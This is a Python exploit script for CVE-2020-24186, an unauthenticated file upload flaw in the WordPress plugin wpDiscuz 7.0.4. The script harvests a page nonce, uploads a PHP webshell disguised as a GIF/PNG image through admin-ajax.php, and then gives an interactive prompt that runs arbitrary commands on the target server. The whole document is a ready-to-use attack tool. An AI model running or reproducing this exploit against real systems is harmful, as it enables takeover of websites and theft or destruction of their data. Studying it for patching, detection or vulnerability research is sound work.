#!/bin/python3

# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2021/06/08
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: wpDiscuz 7.0.4
# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
# CVE : CVE-2020-24186
# Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)

import requests
import optparse
import re
import random
import time
import string
import json

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")


options, args = parser.parse_args()

if not options.url or not options.path:
    print('[+] Specify an url target')
    print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost')
    print('[+] Example help usage: exploit.py -h')
    exit()

session = requests.Session()

main_url = options.url
path = options.path
url_blog = main_url + path
clean_host = main_url.replace('http://', '').replace('/wordpress','')

def banner():
    print('---------------------------------------------------------------')
    print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
    print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
    print('[-] CVE: CVE-2020-24186')
    print('[-] https://github.com/hevox')
    print('--------------------------------------------------------------- \n')

def csrfRequest():
    global wmuSec
    global wc_post_id

    try:
        get_html = session.get(url_blog)
        response_len = str(len(get_html.text))
        response_code = str(get_html.status_code)
        print('[+] Response length:['+response_len+'] | code:['+response_code+']')

        raw_wmu = get_html.text.replace(',','\n')
        wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
        print('[!] Got wmuSecurity value: '+ wmuSec +'')
        raw_postID = get_html.text.replace(',','\n')
        wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
        print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')

    except requests.exceptions.HTTPError as err:
        print('\n[x] Failed to Connect in: '+url_blog+' ')
        print('[x] This host seems to be Down')
        exit()


def nameRandom():
    global shell_name 
    print('[+] Generating random name for Webshell...')
    shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
    time.sleep(1)  
    print('[!] Generated webshell name: '+shell_name+'\n')

    return shell_name


def shell_upload():
    global shell
    print('[!] Trying to Upload Webshell..')
    try:
        upload_url = main_url + "/wp-admin/admin-ajax.php"
        upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
        upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
        upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
        check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
        json_object = (json.loads(check.text))
        status = (json_object["success"])

        get_path = (check.text.replace(',','\n'))
        shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
        find_shell = str(shell_pret)
        raw = (find_shell.replace('\\','').replace('url&quot;:&quot;','').replace('\',','').replace('&quot;','').replace('[\'',''))
        shell = (raw.split(" ",1)[0])

        if status == True:
            print('[+] Upload Success... Webshell path:' +shell+' \n')
        else:
            print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
            exit()

    except requests.exceptions.HTTPError as conn:
        print('[x] Failed to Upload Webshell in: '+ url_blog +' ')

    return shell


def code_exec():
    try:
            while True:
                cmd = input('> ')
                codex = session.get(shell + '?cmd='+cmd+'')
                print(codex.text.replace('GIF689a;','').replace('�',''))
    except:
        print('\n[x] Failed to execute PHP code...')


banner()
csrfRequest()
nameRandom()
shell_upload()
code_exec()